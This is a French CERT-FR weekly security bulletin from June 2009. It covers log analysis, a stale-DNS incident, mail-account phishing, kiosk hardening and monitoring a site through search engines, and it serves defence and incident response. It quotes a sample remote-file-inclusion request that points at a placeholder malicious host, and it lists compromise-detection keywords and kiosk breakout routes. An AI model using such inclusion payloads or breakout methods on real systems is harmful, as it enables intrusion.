Marianne ANSSI

CERT-FR

Centre gouvernemental de veille, d'alerte et de réponse aux attaques informatiques

logo ANSSI
Informations utiles

Que faire en cas d'intrusion ?

Les systèmes obsolètes

Liens utiles

 

L'ANSSI recrute

 

 

Les documents du CERT-FR

Publications récentes

Les alertes en cours

Les bulletins d'actualité

Les notes d'information

Année en cours Archive

 

Les Flux RSS du CERT-FR

Flux RSS complet

RSS

Flux RSS des alertes

RSS

Flux RSS SCADA

RSS

 

CERTA-2009-ACT-023

Imprimer ce document

Version PDF

À propos du CERT-FR

Le CERT-FR

Nous contacter

Contact us ( Drapeau anglais )

A propos du site

Communauté CSIRT

Les CSIRT

Le FIRST

L'EGC

 
Archives du CERT-FR

Année 2017 Archive

Année 2016 Archive

Année 2015 Archive

Année 2014 Archive

Année 2013 Archive

Année 2012 Archive

Année 2011 Archive

Année 2010 Archive

Année 2009 Archive

Année 2008 Archive

Année 2007 Archive

Année 2006 Archive

Année 2005 Archive

Année 2004 Archive

Année 2003 Archive

Année 2002 Archive

Année 2001 Archive

Année 2000 Archive

 

S . G . D . S . N
Agence nationale
de la sécurité des
systèmes d'information

République Française Paris, le 05 juin 2009
No CERTA-2009-ACT-023

Affaire suivie par :

CERTA

Objet : Bulletin d'actualité 2009-23


Conditions d'utilisation de ce document : http://www.certa.ssi.gouv.fr/certa/apropos.html
Dernière version de ce document : http://www.certa.ssi.gouv.fr/site/CERTA-2009-ACT-023

Gestion du document

Le bulletin d'actualité est disponible dans son intégralité et au format PDF à l'adresse suivante :

http://www.certa.ssi.gouv.fr/site/CERTA-2009-ACT-023.pdf

Un extrait du bulletin, ne reprenant que les articles de la semaine, se trouve en HTML à l'adresse suivante :

http://www.certa.ssi.gouv.fr/site/CERTA-2009-ACT-023/

1 Incidents de la semaine

1.1 Apprendre en lisant le journal

1.1.1 Présentation

La lecture des journaux des connexions d'un serveur Web a permis au CERTA, cette semaine, de découvrir au sein de sa communauté une machine compromise. En effet, ces journaux enregistrent les activités des visiteurs du site Web mais également les tentatives de compromission qui peuvent être réalisées par des individus ou des machines elles-même compromises. Dans le cadre de cet incident, une machine compromise, certainement contrôlée à distance, a tenté d'exploiter des vulnérabilités connues de plusieurs gestionnaires de contenu (ou CMS). Ces tentatives prenaient la forme d'inclusion de fichiers distants et malveillants. Ce comportement est, généralement, trivial à mettre en évidence par la présence dans les journaux des connexions de ligne comme celle-ci (pour un serveur HTTP Apache) :

XXX.XXX.XXX.XXX - - [02/Jun/2009:10:00:00 +0200]
"GET /index.php?page=http://serveurdistant/script.malveillant HTTP/1.1"

Deux informations peuvent être exploitées dans une telle ligne :

  • l'adresse IP qui a un comportement malveillant ;
  • le fichier malveillant (ici : http://serveurdistant/script.malveillant) qui peut avoir été déposé sur un serveur web lui aussi compromis.

Ces traces peuvent donc permettre de mettre en évidence deux sources (ou machines) compromises1. Les journaux permettent de contrôler le bon fonctionnement d'un service mais également de mettre en évidences des comportements anormaux ou des tentatives de compromission. Le CERTA rappelle que la mise en place et la consultation des journaux est une impérative necessité. Ce sont des sources d'information essentielles (parfois les seules) lors du traitement d'incidents de sécurité.

1.1.2 Documentation

1.2 La gestion du DNS qui joue des tours

1.2.1 Présentation

Cette semaine, le CERTA a participé au traitement d'un incident de sécurité relatif à la compromission d'un serveur Web. Le CERTA a informé, par deux fois, le responsable d'un site site Internet de la compromission de ce dernier. Le site étant en cours de migration vers un nouvel hébergement, l'administrateur n'avait apporté les corrections de sécurité nécessaires que sur la nouvelle version du site. Le problème est que l'ancien site n'avait pas été désactivé (ni nettoyé) et que le changement d'hébergement n'avait pas été pris en compte au niveau de la gestion du nom de domaine. De ce fait, les connexions des internautes se dirigeaient toujours vers les pages Web compromises de l'ancien serveur. À la suite de la seconde notification du CERTA, la correction a rapidement pu être apportée au niveau des serveurs DNS et l'ancien hébergement a été désactivé.

Le CERTA rappelle que, à la constatation d'un incident, la machine compromise doit être déconnectée du réseau afin d'empêcher les connexions malveillantes entrantes ou sortantes et d'éviter une éventuelle surinfection. Les sites internet et les domaines qui ne sont plus utiles ou qui n'ont plus de raison d'exister doivent être arrêtés ou supprimés pour éviter une compromission due à un manque de suivi (correctifs de sécurité, journaux, etc.).

1.2.2 Documentation

2 Compromission de comptes de messagerie

La compromission des comptes de messagerie n'est pas un phénomène nouveau, même s'il est assez récent. L'objectif de ces attaques n'est pas toujours très clair. S'agit-il de disposer d'accès pour envoyer de nombreux spams, d'obtenir frauduleusement des informations personnelles ou encore est-ce une étape préparatoire à une action de plus grande envergure ?

Quoi qu'il en soit, le phénomène semble évoluer quelque peu. Les attaques jusqu'alors constatées portaient sur des webmails. Depuis peu de temps, ce sont les utilisateurs de certains clients de messagerie (Microsoft Outlook, The Bat!) qui sont visées par des messages les incitant à suivre un lien pour les amener sur un site malveillant. La victime est ensuite invitée à communiquer les informations relatives à son compte (adresses des serveurs de messagerie, noms de compte, mots de passe).

Ces attaques sont en tout point similaires à des tentatives de phishing bancaire. La meilleure parade reste la sensibilisation des utilisateurs.

3 Machines en libre accès : les « kiosques »

3.1 Présentation

Des machines sont parfois laissées en libre accès aux visiteurs : elles consistent en un seul produit, matériel et logiciel, à raccorder au réseau et qui offre au public un accès restreint à certains sites et certaines applications (le navigateur bien souvent).

Ces machines sont configurées pour limiter les intéractions de l'utilisateur avec celles-ci et ne sont dédiées, a priori, qu'à offrir un service d'accès à l'Internet.

La partie logicielle de ces bornes s'appuie sur le système d'exploitation de la machine (Microsoft Windows très souvent) et sur les composants disponibles, comme les bibliothèques classiques d'Internet Explorer (winHTTP).

Les points de sécurité mis en place par les fournisseurs de telles solutions sont essentiellement :

  • contre le vol et l'accès physique au matériel ;
  • contre des usages et des fonctionnalités jugées inutiles ou dangereuses comme :
    • le téléchargement de fichiers ;
    • les combinaisons de touches clavier et les raccourcis ;
    • le lancement de l'invite de commandes ;
    • etc.
Les moyens utilisés sont donc principalement des listes de contrôle d'accès et un usage limité du navigateur aux options réduites dans un mode « plein écran ».

Les solutions mises en place sont bien davantage méfiantes vis-à-vis des actions de l'utilisateur que des sites qui vont être visités. Elles s'appuient pour cela sur le modèle de sécurité du navigateur.

Des codes sont disponibles sur Internet. Ils consistent en des pages Web spécialement construites. L'utilisateur malveillant se rend sur la machine en libre accès puis visite via le navigateur offert le site dans lequel les pages sont insérées. Il peut alors effectuer différents tests d'intrusion et essayer de forcer le système, par un moyen ou un autre, à ouvrir une invite de commande ou une fenêtre de l'explorateur. Il peut utiliser les modules tiers installés et exploitables via le navigateur (Adobe Flash, Office Viewer pour le cas des fichiers insérés dans un document, ClickOnce, etc.), les codes interprétés (Javascript, applets Java, ActiveX), ou les protocoles particuliers (res:, about:, shell:, etc.). Ces pages proposent une « sortie express » si jamais l'utilisateur est surpris par un tiers au cours de ses tests.

Derrière l'aspect ludique et technique de ces outils, il faut bien comprendre que la compromission de ces postes permet, sous certaines conditions, de s'introduire dans le réseau et de continuer ses méfaits sur des postes qui ne sont, eux, pas en libre accès.

3.2 Recommandations

Plusieurs précautions doivent être prises dans le cas où des machines en libre accès doivent être déployées :

  • les machines doivent être dans un réseau dédié ;
  • il faut s'assurer auprès de l'intégrateur que les mêmes mises à jour que les stations de travail seront appliquées (systèmes d'exploitation et applications) ;
  • les mots de passe des comptes utilisés doivent être différents et robustes sur chaque machine ;
  • une passerelle de filtrage applicatif permet de contrôler certains flux sortants ;
  • l'accès physique à la machine doit être contrôlé (BIOS, branchement de support de données aux interfaces USB, Firewire, etc.) ;
  • les machines doivent être placées dans des endroits relativement « passant » ou surveillés ;
  • les machines peuvent exporter des journaux vers un point de surveillance central.

4 Surveiller son site avec des moteurs de recherche

Le CERTA traite chaque semaine plusieurs cas de sites Web défigurés ou explicitement compromis. Dans certains cas, ces incidents auraient pu être detectés plus tôt si l'intégrité du site avait été régulièrement surveillée. Une autre approche, complémentaire, consiste à surveiller les modifications de son site en utilisant les services rendus par les moteurs de recherche.

4.1 Recherche de nouvelles pages

Une recherche exhaustive, limitée à un site, retourne la liste de toutes les pages de ce site. Si les résultats sont triés en chronologie inverse, les nouvelles entrées sont immédiatement visibles. Ainsi, une page de phishing, si elle a été indexée, sera rapidement détectée. Cette technique ne fonctionne pas très bien pour les sites ayant des contenus très dynamiques.

4.2 Recherche de mots-clefs

Toujours en limitant les prospections à un site, il peut être intéressant de rechercher des mots-clefs ("<iframe src=", "hidden", "hacked by", etc.). Par exemple, des termes comme "viagra", "porn", "sex" n'auraient pas forcément leur place sur un site de cuisine.

4.3 Recherche de réferencements externes

Les recherches précédentes se limitaient à un site. Il est aussi intéressant de regarder les références faites à son site sur Internet. en faisant cela, il est possible de retrouver des liens vers : des codes malveillants, des pages cachées (et donc non indexées) de phishing ou de fichiers illégitimes (films, logiciels pirates ...).

4.4 Exemples

Voici quelques exemples utilisant le moteur de recherche Exalead mais qui sont déclinables avec d'autre moteurs.
  • L'ordre de tri et la durée sur la quelle doit être faite la recherche sont configurables dans la section "Recherche avancée"
  • pour limiter la recherche à un site déterminé, il suffit de faire une recherche de la forme site:www.site.tld
  • pour rechercher l'addresse d'un site ailleurs que sur le site lui-même : "www.site.tld" -site:www.site.tld

4.5 Conclusion

Il existe aussi des outils qui effectuent cette surveillance en parcourant tout le site (Web Spider...) mais quelle que soit la solution choisie, une surveillance simple et régulière permet le plus souvent de détecter un incident rapidement, et ainsi de réagir au plus vite.

Il s'agit ici d'avoir un point d'observation différent et complémentaire de celui du système (tests d'intégrité, analyse des journaux, etc.).

4.6 Documentation


5 Rappel des avis émis

Dans la période du 29 mai au 05 juin 2009, le CERTA a émis les avis suivants :

  • CERTA-2009-AVI-202 : Vulnérabilité dans Sun Java System Portal Server
  • CERTA-2009-AVI-203 : Vulnérabilités de libsndfile
  • CERTA-2009-AVI-204 : Vulnérabilité dans Citrix Password Manager
  • CERTA-2009-AVI-205 : Vulnérabilité dans PostgreSQL
  • CERTA-2009-AVI-206 : Multiples vulnérabilités dans Apple QuickTime
  • CERTA-2009-AVI-207 : Vulnérabilité dans iTunes
  • CERTA-2009-AVI-208 : Vulnérabilité dans Apache
  • CERTA-2009-AVI-209 : Multiples vulnérabilités dans Joomla!


Liste des tableaux

Gestion détaillée du document

05 juin 2009
version initiale.



Notes

... compromises1
L'usage d'une inclusion peut également être légitime.

CERTA
2014-01-17
Premier Ministre / Secrétariat Général de la Défense et de la Sécurité Nationale / Agence nationale de la sécurité des systèmes d'information webmestre Dernière mise à jour : le 2017-06-26